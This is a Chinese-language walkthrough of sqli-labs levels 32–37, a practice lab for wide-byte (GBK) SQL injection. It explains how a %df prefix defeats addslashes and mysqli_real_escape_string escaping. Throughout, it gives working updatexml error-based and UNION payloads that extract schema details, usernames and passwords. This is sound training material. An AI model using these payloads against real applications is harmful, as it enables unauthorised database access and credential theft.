sqli-labs(32-37)宽字节注入
32 宽字节-报错注入
输入?id=2'
,发现引号被转义了,没有报错
一般情况下,这里是不存在SQL注入的,但有一个特殊情况,就是数据库使用GBK编码,可以用宽字节注入
宽字节注入
概念
在mysql中,用于转义的函数有addslashes
,mysql_real_escape_string
,mysql_escape_string
等,还有一种情况是magic_quote_gpc
,不过高版本的PHP将去除这个特性,宽字节注入与HTML页面编码是无关的。
-
当某字符的大小为一个字节时,称其字符为窄字节.比如 ASCII 编码。
-
当某字符的大小为两个字节时,称其字符为宽字节.
-
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
-
GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
-
UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
原理
宽字节将两个字符作为汉字,当'
前加个%df
,被转移后为%df\'
,由于\编码为%5c,而%df%5c
为两个字节代表一个汉字,因此%df%5c
成为一个字,'
没有被转义成功逃逸
实战
?id=2%df'
可以看到一个无法显示的中文字符,虽然显示单引号被转义了,但是它报错了,实际上是成功了
获取数据库名?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
由于单引号被转义,在查询语句中不能用单引号,因此只能采用嵌套查询table_schema='security'
换成table_schema=(select database()
来获取表名,
?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),0x7e),1)--+
获取users的字段名
?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+
获取密码
?id=2%df' and updatexml(1,concat(0x7e,(select (password)from security.users limit 7,1 ),0x7e),1)--+
源码分析
关键就是这个函数,它转义单引号,双引号,和任意数量的反斜杠
33 宽字节-报错注入-addslashes()
初次尝试
试了试32关的语句,正常显示,那这一关特别在哪里呢?
?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
区别之处在哪?
?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+
看看源码
区别就在32是自己写的函数,这一题用的自带转义函数addslashes()
addslashes()定义和用法
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
可以说和32关的功能大差不差,绕过方式也一样
34 宽字节-Union查询-POST-addslashes()
初次尝试
POST抓包修改
被转义了
试试宽字节注入111%df'
,报错了,看来可行
这次采用Union查询试试
1%df'order by 3#
1%df'order by 2
1%df'union select 1,2#
获取数据库名
获取表名
1%df'union select (select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),2#
获取users字段名
获取用户名和密码
1%df'union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#
看看源码
用户名和密码转义,数据库设置为GBK,宽字节注入绕过
35 宽字节-数字型-addslashes()
初次尝试
?id=2'
直接报错了是怎么回事?先判断注入类型
?id=2 and 1=1
?id=2 and 1=2
由此可以得知为数字型注入
接下来采用报错注入还是Union查询都可以
源码分析
使用转义函数addslashes()
进行处理,id为数字型
36 宽字节-mysqli_real_escape_string($con, $string)
源码出问题了,页面不显示结果,这道题没法做了
与上一题源码对比,不同之处在于转义函数换成了mysqli_real_escape_string($con, $string)
,会被进行转义的字符包括: NUL (ASCII 0)
,\n
,\r
,\
,'
,"
和 Control-Z
.
PHP: mysqli::real_escape_string - Manual
由于数据库为GBK编码,还是采用宽字节注入
37 宽字节-post-mysqli_real_escape_string($con, $string)
初次尝试
post传参,burpsuite伺候
12'
单引号被转义
尝试宽字节注入12%df'
,报错,单引号字符型1
12%df' order by 3#
12%df' order by 2#
字段名为2
接下来就是Union查询或者报错注入,略
源码分析
mysqli_real_escape_string($con, $string)
转义特殊字符:单引号